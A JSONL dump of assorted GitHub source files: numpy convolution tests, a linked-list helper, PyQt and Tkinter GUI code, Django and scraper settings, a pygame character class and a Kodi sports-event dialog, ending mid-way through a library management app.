+{"seq_id":"6340470516","text":"\"\"\"Tests for the .convolution file\"\"\"\nimport numpy as np\n\nfrom ..convolution import convolution, _multiply_sum\n\n\ndef test_multiply_sum():\n \"\"\"Multiplies two frames element-wise and adds their values into one\"\"\"\n img = np.array([\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n ])\n kernel = np.array([\n [-1, 1, 2],\n [1, 2, 3],\n [2, 3, -1]\n ])\n output = _multiply_sum(img, kernel)\n\n assert output == 68\n\n\ndef test_convolution():\n \"\"\"\n A convolution reduces the img size and is the result of\n element-wise multiplications and additions\n \"\"\"\n img = np.array([\n [1, 2, 3, 4],\n [5, 6, 7, 8],\n [9, 0, 1, 2],\n [3, 4, 5, 6]\n ])\n kernel = np.array([\n [0, 1, 0],\n [1, -1, 1],\n [0, 1, 0]\n ])\n\n output = convolution(img, kernel)\n expected = np.array([\n [8, 11],\n [20, 13]\n ])\n\n assert (output == expected).all()\n\n\ndef test_convolution_2():\n \"\"\"Second example of convolution\"\"\"\n img = np.array([\n [1, 2, 3, 4],\n [4, 3, 2, 1],\n [5, 6, 7, 8],\n [8, 7, 6, 5]\n ])\n kernel = np.array([\n [-1, 1],\n [1, -1]\n ])\n\n output = convolution(img, kernel)\n expected = np.array([\n [2, 2, 2],\n [-2, -2, -2],\n [2, 2, 2]\n ])\n\n assert (output == expected).all()\n\n\ndef test_convolution_2_chan():\n \"\"\"A 3D convolution creates a 2D output\"\"\"\n img = np.array([\n [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n ],\n [\n [3, 4, 5],\n [6, 7, 8],\n [3, 2, 1]\n ]\n ])\n kernel = np.array([\n [\n [-1, 1],\n [-1, 1]\n ],\n [\n [1, -1],\n [1, -1]\n ]\n ])\n output = convolution(img, kernel)\n\n expected = np.array([\n convolution(img[0], kernel[0]),\n convolution(img[1], kernel[1])\n ]).sum(axis=0)\n\n assert (output == expected).all()\n","repo_name":"8thlight/machine-learning","sub_path":"src/computer_vision/image_processing/test/convolution_test.py","file_name":"convolution_test.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"19960260627","text":"#!/usr/bin/env python\n\nclass ListNode:\n def __init__(self,x):\n self.val = x\n self.next = None\n\n def LinkWalk(self):\n curNode = self\n walkList = []\n while curNode:\n walkList.append(curNode.val)\n curNode = curNode.next\n print(walkList)\n\n\ndef initLinkList_from_list(nums):\n dummyHead = curNode = ListNode(0)\n for v in nums:\n curNode.next = ListNode(v)\n curNode = curNode.next\n return dummyHead.next\n\ndef appedLinkList(oriListNode, appListNode):\n while oriListNode.next:\n oriListNode = oriListNode.next\n oriListNode.next = appListNode","repo_name":"txqgit/LeetCode","sub_path":"CodePython/LinkList.py","file_name":"LinkList.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18534409982","text":"from PyQt5.QtWidgets import QDialog\nfrom kxfed_prefs_ui import Ui_prefs_dialog\nfrom PyQt5.QtWidgets import QFileDialog\nimport kfconf\n\n\nclass KxfedPrefsDialog(QDialog):\n def __init__(self):\n super(KxfedPrefsDialog, self).__init__()\n\n # Set up the user interface from Designer.\n self.ui = Ui_prefs_dialog()\n self.ui.setupUi(self)\n self.ui.directory_label.setText(kfconf.tmp_dir)\n self.ui.directory_label.clicked.connect(self.openFileNameDialog)\n\n def accept(self):\n pass\n\n def reject(self):\n self.hide()\n\n def openFileNameDialog(self):\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n filename = str(QFileDialog.getExistingDirectory(self, \"Select Directory\", options=options))\n # fileName, _ = QFileDialog.getOpenFileName(self, \"QFileDialog.getOpenFileName()\", \"\",\n # \"All Files (*);;Python Files (*.py)\", options=options)\n if filename is not None:\n self.ui.directory_label.setText(filename)\n kfconf.tmp_dir = filename\n kfconf.set_dirs()\n else:\n self.ui.directory_label.setText(kfconf.tmp_dir)\n","repo_name":"millerthegorilla/fedkx","sub_path":"kxfed_prefs.py","file_name":"kxfed_prefs.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16363561244","text":"from .base import * # noqa\nfrom .base import env\n\nSECRET_KEY = env('DJANGO_SECRET_KEY')\n\nCHANNEL_LAYERS = {\n 'default': {\n 'BACKEND': 'channels_redis.core.RedisChannelLayer',\n 'CONFIG': {\n 'hosts': [(env('REDIS_URL'), env('REDIS_PORT'))]\n }\n }\n}\n","repo_name":"marcinbedcyc/django-chat","sub_path":"config/settings/prod.py","file_name":"prod.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39703975705","text":"\r\nimport os\r\n\r\n\r\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\r\n\r\nUSE_LOCAL_DB = False\r\nLOCAL_DB_CONFIG = {\r\n 'mysql': {\r\n 'user': '',\r\n 'password': '',\r\n 'host': '127.0.0.1',\r\n 'database': 'pbscraper',\r\n },\r\n 'table': 'scraped_data',\r\n 'table_schema': [\r\n 'category',\r\n 'raw_values',\r\n 'raw_values_hash',\r\n 'link',\r\n 'filter_score',\r\n 'basic_frequencies',\r\n 'raw_text_hash',\r\n ]\r\n}\r\n\r\nCAT_SERVER_CONFIG = {\r\n 'token': '2c916dcb4f4c0ec941caff9c01f09968fd28d9a5',\r\n 'address': 'http://127.0.0.1:8000',\r\n 'api_endpoint': 'textsamples',\r\n}\r\n","repo_name":"calebshortt/pastebin-scraper","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"29"} +{"seq_id":"12939570375","text":"import ms.version\r\n\r\nms.version.addpkg('numpy', '1.14.2')\r\nimport sys\r\nimport numpy as np\r\n\r\ndef receive_point_list_from_stdin():\r\n data = sys.stdin.readline()\r\n data = data.strip().split(',')\r\n dataset = []\r\n for i, d in enumerate(data):\r\n dataset.append([i, float(d)])\r\n return np.array(dataset)\r\n\r\ndef send_bool_list_to_stdout(bools):\r\n print(','.join(np.char.mod('%d', bools)))\r\n sys.stdout.flush()\r\n\r\ndef send_double_list_to_stdout(doubles):\r\n print(','.join(np.char.mod('%f', doubles)))\r\n sys.stdout.flush()\r\n\r\ndef nomalize_train_evaluate_data(X_train, X_predict):\r\n mean = np.mean(X_train, axis=0)\r\n std = np.std(X_train, axis=0)\r\n if std[1] == 0:\r\n X_train_norm = X_train - mean\r\n X_train_norm[0] = X_train_norm[0] / std[0]\r\n else:\r\n X_train_norm = (X_train - mean) / std\r\n\r\n # change the time mean and std\r\n mean[0] = np.mean(X_predict, axis=0)[0]\r\n std[0] = np.std(X_predict, axis=0)[0]\r\n if std[1] == 0:\r\n X_predict_norm = (X_predict - mean)\r\n X_predict_norm[0] = X_predict_norm[0] / std[0]\r\n else:\r\n X_predict_norm = (X_predict - mean) / std\r\n\r\n return X_train_norm, X_predict_norm\r\n","repo_name":"BeMoreMature/Outlier-Detection","sub_path":"src/main/resources/scripts/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10006066192","text":"\nimport pygame\n\n\nfrom . import unit\nfrom . import player\nfrom ..Mechanic import spells\nfrom ..Mechanic import ritual\n\n\n#maybe make an additional class above unit?\nclass charachter(unit.unit):\n sprites = [\"energy1\",\n \"energy2\",\n \"energy3\"]\n def __init__(self, GAME):\n super().__init__(GAME, [280,500], pygame.time.get_ticks())\n\n #self.tail = [effect.energyTail(self.GAME,self.pos(),[self.sprites[2]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[2]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[2]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[2]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[1]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[1]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[1]]),\n # effect.energyTail(self.GAME,self.pos(),[self.sprites[1]]) ]\n #self.GAME.effects.extend(self.tail)\n\n #self.oldpos = collections.deque([self.pos()]*70, 70)\n self.side = \"ALLY\"\n self.DEAD = False\n\n self.CIRCLE = ritual.circle()\n self.ACTIVECIRCLE = 0\n\n self.weapon = blaster( self )\n self.hp = 3\n\n self.speed = 0.3\n self.hitbox = pygame.Rect(0,0,2,2)\n\n self.adhockeyrepeat = True\n self.pattern = player.player( self )\n\n #self.hitbox = pygame.draw.circle(self.surf, (0,200,200), self.rect.center , 2, 0)\n\n\n #def update(self):\n # super().update()\n\n def hit(self,bullet):\n self.hp -= 1\n bullet.hit()\n if self.hp <= 0:\n self.DEAD = True\n\n def castaSpell(self):\n if self.ACTIVECIRCLE == 0:\n pass\n elif self.ACTIVECIRCLE == 1:\n spells.spell1(self.GAME)\n elif self.ACTIVECIRCLE == 2:\n spells.spell2(self.GAME)\n elif self.ACTIVECIRCLE == 3:\n spells.spell3(self.GAME)\n elif self.ACTIVECIRCLE == 4:\n spells.spell4(self.GAME)\n\n def placeBeacon(self):\n self.GAME.effects.append( ritual.beacon( self.GAME, self.center, self.lastUpdated ) )\n\n def deathConditions(self):\n return self.hp <= 1\n\n def remove(self):\n print(\"geimu over\")\n\n#Make seperate file\n#Make generic\n#make time relative\n\nimport random\n\nfrom . import bullets\nfrom .. import vector\n\nclass blaster():\n def __init__(self, user):\n self.user = user\n self.type = bullets.blast\n #self.type = bullets.bullet\n self.shots = [ [0, 25, [ [ 0,-1], 0] ],\n [0, 35, [ vector.uvturn(165) ] ],\n [0, 35, [ vector.uvturn(-165) ] ],\n [0, 50, [ vector.uvturn(175) ] ],\n [0, 50, [ vector.uvturn(-175) ] ] ]\n\n #self.AshotParam = ( self.user, [ 0,-1], 0)\n #self.BshotParam = ( self.user, vector.uvturn(165), 0)\n #self.CshotParam = ( self.user, vector.uvturn(-165), 0)\n #self.DshotParam = ( self.user, vector.uvturn(175), 0)\n #self.EshotParam = ( self.user, vector.uvturn(-175), 0)\n #check all the steps after transisting over to time\n\n def update(self):\n\n for s in self.shots:\n s[0] += self.user.timeInterval\n shotcount = s[0] // s[1]\n if shotcount > 0:\n s[0] -= shotcount * s[1]\n for n in range(0, shotcount):\n self.fire( s[-1], self.user.lastUpdated + s[0] - n*s[1])\n #s[2]( self.user.lastUpdated + s[0] - n*s[1] )\n\n\n #if self.step%5 == 0:\n # self.fire( self.AshotParam, 0.01 )\n #if self.step%4 == 0:\n # self.fire( self.BshotParam, 0.05 )\n # self.fire( self.CshotParam, 0.05 )\n #if self.step%3 == 0:\n # self.fire( self.DshotParam, 0.1 )\n # self.fire( self.EshotParam, 0.1 )\n\n def fire(self, t, time):\n param = t[:]\n #os = [x * spread for x in vector.uvturn( random.randint(0,360) ) ]\n b = self.type( self.user, param[0], time )\n b.FLAGS[\"ENEMY\"] = False\n","repo_name":"Earlo/Virvatuli","sub_path":"Code/Game/Entity/charachter.py","file_name":"charachter.py","file_ext":"py","file_size_in_byte":4172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"30889364874","text":"import xbmc\nimport xbmcgui\nimport xbmcaddon\nimport xbmcplugin\nimport thesportsdb\nimport datetime\nimport re\nimport urllib\nfrom random import randint\nfrom centerutils.common_variables import *\nfrom centerutils.datemanipulation import *\nimport imageviewer as imageviewer\n\ndef start(data_list):\n\twindow = dialog_eventdetails('DialogEventdetails.xml',addonpath,'Default',str(data_list))\n\twindow.doModal()\n\t\nclass dialog_eventdetails(xbmcgui.WindowXMLDialog):\n\tdef __init__( self, *args, **kwargs ):\n\t\txbmcgui.WindowXML.__init__(self)\n\t\tself.params = eval(args[3])\n\n\tdef onInit(self):\n\t\tself.event_id = self.params[0]\n\t\tself.event_details(self.event_id)\n\n\t\t\t\t\n\tdef event_details(self,event):\n\t\tself.is_plot = True\n\t\tself.event_dict = thesportsdb.Lookups(tsdbkey).lookupevent(event)[\"events\"]\n\t\tif self.event_dict and self.event_dict != 'None':\n\t\t\tself.event_dict = self.event_dict[0]\n\t\t\n\t\tself.sport = thesportsdb.Events().get_sport(self.event_dict)\n\t\t\n\t\t#Get league information\n\t\tself.league_id = thesportsdb.Events().get_leagueid(self.event_dict)\n\t\tself.league_dict = thesportsdb.Lookups(tsdbkey).lookupleague(self.league_id)[\"leagues\"][0]\n\t\t\n\t\t#Check if event has extended results & map\n\t\tself.results = thesportsdb.Events().get_result(self.event_dict)\n\t\tif self.results and self.results != 'None':\n\t\t\txbmc.executebuiltin(\"SetProperty(has_results,1,home)\")\n\t\t\t\n\t\tself.map = thesportsdb.Events().get_map(self.event_dict)\n\t\t\n\t\t\n\t\tif self.sport.lower() != 'motorsport' and self.sport.lower() != 'golf':\n\t\t\t#Set motorsport stuff visible false\n\t\t\tself.getControl(772).setVisible(False)\n\t\t\tself.getControl(773).setVisible(False)\n\t\t\tself.getControl(774).setVisible(False)\n\t\t\t\n\t\t\tif self.sport.lower() != 'golf':\n\t\t\t\tself.getControl(9024).setLabel('Stadium')\n\t\t\t\txbmc.executebuiltin(\"SetProperty(has_map,1,home)\")\n\t\t\telse:\n\t\t\t\tself.getControl(9024).setLabel('Map')\n\t\t\t\tif self.map and self.map != 'None':\n\t\t\t\t\txbmc.executebuiltin(\"SetProperty(has_map,1,home)\")\n\t\t\t\n\t\t\t\n\t\t\t#Teams dict\n\t\t\tself.hometeam_id = thesportsdb.Events().get_hometeamid(self.event_dict)\n\t\t\tself.awayteam_id = thesportsdb.Events().get_awayteamid(self.event_dict)\n\t\t\tself.hometeam_dict = thesportsdb.Lookups(tsdbkey).lookupteam(self.hometeam_id)[\"teams\"][0]\n\t\t\tself.awayteam_dict = thesportsdb.Lookups(tsdbkey).lookupteam(self.awayteam_id)[\"teams\"][0]\n\t\t\n\t\t\t#Get both teams badge and jersey\n\t\t\tself.hometeam_badge = thesportsdb.Teams().get_badge(self.hometeam_dict)\n\t\t\tself.awayteam_badge = thesportsdb.Teams().get_badge(self.awayteam_dict)\n\t\t\tself.hometeam_jersey = thesportsdb.Teams().get_team_jersey(self.hometeam_dict)\n\t\t\tself.awayteam_jersey = thesportsdb.Teams().get_team_jersey(self.awayteam_dict)\n\t\t\t\n\t\t\t#Set badge and jersey (if it exists)\n\t\t\tif self.hometeam_jersey and self.hometeam_jersey != 'None':\n\t\t\t\tself.getControl(777).setImage(self.hometeam_badge)\n\t\t\t\tself.getControl(779).setImage(self.hometeam_jersey)\n\t\t\telse:\n\t\t\t\tif self.hometeam_badge and self.hometeam_badge != 'None':\n\t\t\t\t\tself.getControl(778).setImage(self.hometeam_badge)\n\t\t\t\n\t\t\tif self.awayteam_jersey and self.awayteam_jersey != 'None':\n\t\t\t\tself.getControl(780).setImage(self.awayteam_badge)\n\t\t\t\tself.getControl(782).setImage(self.awayteam_jersey)\n\t\t\telse:\n\t\t\t\tif self.awayteam_badge and self.awayteam_badge != 'None':\n\t\t\t\t\tself.getControl(781).setImage(self.awayteam_badge)\n\t\t\t\t\n\t\t\t#Set team name\n\t\t\tif settings.getSetting('team-naming')=='0': self.hometeam_name = thesportsdb.Teams().get_name(self.hometeam_dict)\n\t\t\telse: self.hometeam_name = thesportsdb.Teams().get_alternativefirst(self.hometeam_dict)\n\t\t\tif settings.getSetting('team-naming')=='0': self.awayteam_name = thesportsdb.Teams().get_name(self.awayteam_dict)\n\t\t\telse: self.awayteam_name = thesportsdb.Teams().get_alternativefirst(self.awayteam_dict)\n\t\t\tself.getControl(784).setText('[B]%s[/B]' % (self.hometeam_name))\n\t\t\tself.getControl(785).setText('[B]%s[/B]' % (self.awayteam_name))\n\t\t\t\n\t\t\t#event stadium and spectactors\n\t\t\tself.stadium = thesportsdb.Teams().get_stadium(self.hometeam_dict)\n\t\t\tself.getControl(792).setLabel('[B]%s[/B]' % (self.stadium))\n\t\t\tself.spectators = thesportsdb.Events().get_spectators(self.event_dict)\n\t\t\tif self.spectators != '0' and str(self.spectators) != '{}':\n\t\t\t\ttry:\n\t\t\t\t\ti = 0\n\t\t\t\t\tspectators = ''\n\t\t\t\t\tlenght = len(self.spectators)\n\t\t\t\t\tfor letter in reversed(self.spectators):\n\t\t\t\t\t\ti += 1\n\t\t\t\t\t\tif (float(i)/3).is_integer():\t\n\t\t\t\t\t\t\tif lenght != i: spectators = ',' + letter + spectators\n\t\t\t\t\t\t\telse: spectators = letter + spectators\n\t\t\t\t\t\telse: spectators = letter + spectators\n\t\t\t\t\tself.getControl(793).setLabel('[B]Spectators[/B]: %s' % (spectators))\n\t\t\t\texcept:\n\t\t\t\t\tself.getControl(793).setLabel('[B]Spectators[/B]: %s' % (self.spectators))\n\t\t\t\n\t\t\t#event progress time\n\t\t\tself.getControl(790).setPercent(100)\n\t\t\tself.getControl(791).setImage(os.path.join(addonpath,art,'notlive.png'))\n\t\t\tself.getControl(789).setLabel(\"[B]Fulltime[/B]\")\n\t\t\t\n\t\t\t#set result\n\t\t\tself.home_scored = thesportsdb.Events().get_homescore(self.event_dict)\n\t\t\tself.away_scored = thesportsdb.Events().get_awayscore(self.event_dict)\n\t\t\tself.result = '[B]%s-%s[/B]' % (str(self.home_scored),str(self.away_scored))\n\t\t\tif 'none-none' in self.result.lower():\n\t\t\t\tself.result = 'vs'\n\t\t\tself.getControl(783).setLabel(self.result)\n\t\telse:\n\t\t\t#motorsport stuff\n\t\t\tself.getControl(790).setVisible(False)\n\t\t\tself.getControl(9024).setLabel('Map')\n\t\t\tif self.map and self.map != 'None':\n\t\t\t\txbmc.executebuiltin(\"SetProperty(has_map,1,home)\")\n\t\t\t\n\t\t\tif self.sport.lower() == 'motorsport':\n\t\t\t\tself.getControl(776).setImage(os.path.join(addonpath,art,'raceflag.png'))\n\t\t\telif self.sport.lower() == 'golf':\n\t\t\t\tself.getControl(776).setImage(os.path.join(addonpath,art,'golf.png'))\n\t\t\tself.event_name = thesportsdb.Events().get_eventtitle(self.event_dict)\n\t\t\tself.getControl(775).setText(self.event_name)\n\t\t\tself.race_circuit = thesportsdb.Events().get_racecircuit(self.event_dict)\n\t\t\ttry: self.getControl(772).setLabel('[COLOR labelheader]Race Circuit:[/COLOR][CR]' + self.race_circuit)\n\t\t\texcept: pass\n\t\t\tself.race_location = thesportsdb.Events().get_racelocation(self.event_dict)\n\t\t\ttry:self.getControl(773).setLabel('[COLOR labelheader]Race Location:[/COLOR][CR]' + self.race_location)\n\t\t\texcept: pass\n\t\t\tself.race_country = thesportsdb.Events().get_racecountry(self.event_dict)\n\t\t\ttry: self.getControl(774).setLabel('[COLOR labelheader]Race Country:[/COLOR][CR]' + self.race_country)\n\t\t\texcept: pass\n\t\t\n\t\t\n\t\t#COMMON STUFF TO ALL SPORTS\n\t\t\t\n\t\t#set date\n\t\tself.date = thesportsdb.Events().get_date(self.event_dict)\n\t\ttry:\n\t\t\tif self.date and self.date != 'None':\n\t\t\t\tdate_vector = self.date.split('/')\n\t\t\t\tif len(date_vector) == 3:\n\t\t\t\t\tday = date_vector[0]\n\t\t\t\t\tif len(date_vector[2]) == 2:\n\t\t\t\t\t\tyear = '20'+date_vector[2]\n\t\t\t\t\tmonth = get_month_long(date_vector[1])\n\t\t\t\t\tself.getControl(788).setLabel('[B]%s %s %s[/B]' % (day,month,year))\n\t\texcept: self.getControl(788).setLabel('[B]%s[/B]' % (self.date))\n\t\t\t\n\t\t#set event competition and round(if available)\n\t\tself.competition = thesportsdb.Events().get_league(self.event_dict)\n\t\tself.round = thesportsdb.Events().get_round(self.event_dict)\n\n\t\tif self.round and self.round != 'None' and self.round != '0' and self.round != 'null': self.title = '[B]' + self.competition + ' - Round ' + str(self.round) + '[/B]'\n\t\telse: self.title = '[B]'+self.competition+'[/B]'\n\t\tself.getControl(787).setLabel(self.title)\n\t\t\n\t\t#event thumb or fanart or poster\n\t\tself.thumb = thesportsdb.Events().get_thumb(self.event_dict)\n\t\tself.fanart = thesportsdb.Events().get_fanart(self.event_dict)\n\t\t #priority given to thumb, then fanart, then fanartleague, then force sport\n\t\tif self.thumb and self.thumb != 'None' and self.thumb != 'null':\t\t\n\t\t\tself.getControl(794).setImage(self.thumb)\n\t\telse:\n\t\t\tif self.fanart and self.fanart != 'None' and self.thumb != 'null':\n\t\t\t\tself.getControl(794).setImage(self.fanart)\n\t\t\telse:\n\t\t\t\tleague_fanarts = thesportsdb.Leagues().get_fanart(self.league_dict)\n\t\t\t\tif league_fanarts:\n\t\t\t\t\tself.getControl(794).setImage(league_fanarts[randint(0,len(league_fanarts)-1)])\n\t\t\t\telse:\n\t\t\t\t\tself.getControl(794).setImage(os.path.join(addonpath,art,'sports',urllib.quote(self.sport.lower())+'.jpg'))\n\t\t\n\t\t#event plot\n\t\tself.plot = thesportsdb.Events().get_plot(self.event_dict)\n\t\tself.getControl(795).setText(self.plot)\n\t\t\n\t\t\t\t\t\n\n\tdef onClick(self,controlId):\n\n\t\tif controlId == 9023:\n\t\t\tif self.is_plot:\n\t\t\t\tself.getControl(795).setText(self.results)\n\t\t\t\tself.getControl(9023).setLabel('Plot')\n\t\t\t\tself.is_plot = False\n\t\t\telse:\n\t\t\t\tself.getControl(795).setText(self.plot)\n\t\t\t\tself.getControl(9023).setLabel('Results')\n\t\t\t\tself.is_plot = True\n\t\t\t\n\t\telif controlId == 9024:\n\t\t\tif self.sport.lower() == 'motorsport' or self.sport.lower() == 'golf':\n\t\t\t\t#map\n\t\t\t\tself.map = thesportsdb.Events().get_map(self.event_dict)\n\t\t\t\timageviewer.view_images(str([self.map]))\n\t\t\telse:\n\t\t\t\t#stadium\n\t\t\t\timport stadium as stadium\n\t\t\t\tstadium_hometeam = thesportsdb.Teams().get_stadium(self.hometeam_dict)\n\t\t\t\tif stadium_hometeam == self.stadium:\n\t\t\t\t\tstadium.start(self.hometeam_dict)\n\t\t\t\n\t\t\t\n\t\telif controlId == 9027:\n\t\t\tif self.home_away == 'home':\n\t\t\t\tself.event_lineup(self.event_dict,\"away\")\n\t\t\telif self.home_away == 'away':\n\t\t\t\tself.event_lineup(self.event_dict,\"home\")\n\t\t\t\n\t\telif controlId == 9028:\n\t\t\tif self.is_live == False:\n\t\t\t\tself.event_details(self.event_id)\n\t\t\telse:\n\t\t\t\tself.event_details(self.live_dict)\n\t\t\t\n\t\n\t\t\n","repo_name":"enen92/script.sportscenter","sub_path":"resources/lib/eventdetails.py","file_name":"eventdetails.py","file_ext":"py","file_size_in_byte":9378,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"43534618933","text":"from tkinter import *\nimport tkinter as tk\nfrom datetime import date\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkcalendar import *\nimport sqlite3\nimport time\nfrom PIL import ImageTk,Image\nimport datetime\nfrom datetime import datetime\nfrom datetime import timedelta\nimport smtplib\nimport sys\nfrom GradientFrame import GradientFrame\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QProgressBar, QLabel, QFrame, QHBoxLayout, QVBoxLayout\nfrom PyQt5.QtCore import Qt, QTimer\n\nclass SplashScreen(QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle('Spash Screen Example')\n self.setFixedSize(1100, 500)\n self.setWindowFlag(Qt.FramelessWindowHint)\n self.setAttribute(Qt.WA_TranslucentBackground)\n\n self.counter = 0\n self.n = 300 # total instance\n\n self.initUI()\n\n self.timer = QTimer()\n self.timer.timeout.connect(self.loading)\n self.timer.start(30)\n\n def initUI(self):\n layout = QVBoxLayout()\n self.setLayout(layout)\n\n self.frame = QFrame()\n layout.addWidget(self.frame)\n\n self.labelTitle = QLabel(self.frame)\n self.labelTitle.setObjectName('LabelTitle')\n\n # center labels\n self.labelTitle.resize(self.width() - 10, 150)\n self.labelTitle.move(0, 40) # x, y\n self.labelTitle.setText('OPJU Library Management System')\n self.labelTitle.setAlignment(Qt.AlignCenter)\n\n self.labelDescription = QLabel(self.frame)\n self.labelDescription.resize(self.width() - 10, 50)\n self.labelDescription.move(0, self.labelTitle.height())\n self.labelDescription.setObjectName('LabelDesc')\n self.labelDescription.setText('Working on Task #1')\n self.labelDescription.setAlignment(Qt.AlignCenter)\n\n self.progressBar = QProgressBar(self.frame)\n self.progressBar.resize(self.width() - 200 - 10, 50)\n self.progressBar.move(100, self.labelDescription.y() + 130)\n self.progressBar.setAlignment(Qt.AlignCenter)\n self.progressBar.setFormat('%p%')\n self.progressBar.setTextVisible(True)\n self.progressBar.setRange(0, self.n)\n self.progressBar.setValue(20)\n\n self.labelLoading = QLabel(self.frame)\n self.labelLoading.resize(self.width() - 10, 50)\n self.labelLoading.move(0, self.progressBar.y() + 70)\n self.labelLoading.setObjectName('LabelLoading')\n self.labelLoading.setAlignment(Qt.AlignCenter)\n self.labelLoading.setText('loading...')\n\n def loading(self):\n self.progressBar.setValue(self.counter)\n\n if self.counter == int(self.n * 0.3):\n self.labelDescription.setText('Working on Task #2')\n elif self.counter == int(self.n * 0.6):\n self.labelDescription.setText('Working on Task #3')\n elif self.counter >= self.n:\n self.timer.stop()\n self.close()\n\n time.sleep(1)\n\n \n\n self.counter += 1\n\n\nif __name__ == '__main__':\n # don't auto scale when drag app to a different monitor.\n # QApplication.setAttribute(Qt.HighDpiScaleFactorRoundingPolicy.PassThrough)\n \n app = QApplication(sys.argv)\n app.setStyleSheet('''\n #LabelTitle {\n font-size: 60px;\n color: #93deed;\n }\n\n #LabelDesc {\n font-size: 30px;\n color: #c2ced1;\n }\n\n #LabelLoading {\n font-size: 30px;\n color: #e8e8eb;\n }\n\n QFrame {\n background-color: #2F4454;\n color: rgb(220, 220, 220);\n }\n\n QProgressBar {\n background-color: #DA7B93;\n color: rgb(200, 200, 200);\n border-style: none;\n border-radius: 10px;\n text-align: center;\n font-size: 30px;\n }\n\n QProgressBar::chunk {\n border-radius: 10px;\n background-color: qlineargradient(spread:pad x1:0, x2:1, y1:0.511364, y2:0.523, stop:0 #1C3334, stop:1 #376E6F);\n }\n ''')\n \n splash = SplashScreen()\n splash.show()\n\n try:\n sys.exit(app.exec_())\n except SystemExit:\n print('Closing Window...')\n\n# ---------------------------LMS-----------------------------------------------\n\ndb=sqlite3.connect('admin.db')\ndd=sqlite3.connect('storebook.db')\ndc=sqlite3.connect('students.db')\n\nroot = Tk()\nroot.title(\"Library Management System\")\nroot.iconbitmap(\"D:\\OPJU\\3rd Sem SEP2021_FEB2022\\Python project\\Library management System GUI - final\\aa.ico\")\n\nroot.geometry(\"900x500+300+150\")\nroot.resizable(0, 0)\n\n\n\n\nclass maincode:\n\n def login(self):\n\n self.var1 = self.e1.get()\n self.var2 = self.e2.get()\n cursor=db.cursor()\n cursor.execute(\"SELECT * FROM adm WHERE User_ID='\"+self.var1+\"' and Password='\"+self.var2+\"'\")\n db.commit()\n self.ab = cursor.fetchone()\n if self.ab!=None:\n #messagebox.showinfo('Library System',ab[1])\n self.under_fm=Frame(root,height=500,width=900,bg='#fff')\n self.under_fm.place(x=0,y=0)\n self.fm2=Frame(root,bg='#14213d',height=80,width=900)\n self.fm2.place(x=0,y=0)\n\n # lgo=Canvas(fm2,bg='#0f624c',height=200,width=100,bd=4,relief='flat')\n # lgo.place(x=0,y=0)\n\n self.lbb=Label(self.fm2,bg='#14213d')\n self.lbb.place(x=15,y=5)\n self.ig=PhotoImage(file='library.png')\n self.lbb.config(image=self.ig)\n self.lb3=Label(self.fm2,text='DASHBOARD',fg='White',bg='#14213d',font=('Arial',30,'bold'))\n self.lb3.place(x=325,y=17)\n\n \n\n\n #----------------------------name------------------------\n\n self.name=Label(root,text=\"INCHARGE : \",bg='#fff',fg=\"black\",font=('Arial',10,'bold'))\n self.name.place(x=5,y=83)\n self.name1=Label(root,text=self.ab[1],fg='black',bg='#fff',font=('Arial',10,'bold'))\n self.name1.place(x=85,y=83)\n\n #------------------------date-------------------------\n\n self.today=date.today()\n self.dat=Label(root,text='Date : ',bg='#fff',fg='black',font=('Arial',10,'bold'))\n self.dat.place(x=700,y=83)\n self.dat2 = Label(root, text=self.today, bg='#fff', fg='black', font=('Arial', 10, 'bold'))\n self.dat2.place(x=750, y=83)\n\n # ---------------------log-out------------------------------\n\n self.bt8 = Button(root, text=' log Out', relief='flat',cursor='hand2',command=self.code,borderwidth = 0)\n self.bt8.place(x=850, y=79.5)\n self.log8 = PhotoImage(file='logout.png')\n # self.bt8.config(image=self.log8, compound=LEFT)\n self.small_log8 = self.log8.subsample(8, 8)\n self.bt8.config(image=self.small_log8)\n\n # ------------------------copyright-------------------------\n self.canvas_cr = Canvas(root, bg='#e5e5e5', width=900, height=20)\n self.canvas_cr.place(x=0, y=475)\n self.cprgt=Label(root,text='© 2022 OPJU LIBRARY RIG. All right reserved.',bg='#e5e5e5',fg='black',font=('Arial',10,'bold'))\n self.cprgt.place(x=5,y=480)\n self.dev=Label(root,text='Developed by :- GROUP_1',bg='#e5e5e5',fg='black',font=('Arial',10,'bold'))\n self.dev.place(x=700,y=480)\n\n\n\n\n self.cur()\n\n else:\n messagebox.showerror('Library System', 'Your ID or Password is not Valid','Please enter valid credential')\n #---------------------------------------------------------\n\n #---------------------Dashboard main-menu------------------------------------\n\n def cur(self):\n self.fm3=Frame(root,bg='#fca311',width=900,height=370)\n self.fm3.place(x=0,y=110)\n\n # self.fm3 = GradientFrame(root, colors = (\"#fca311\", \"#fc4011\"), width = 900, height = 370)\n # self.fm3.config(direction = self.fm3.top2bottom)\n # 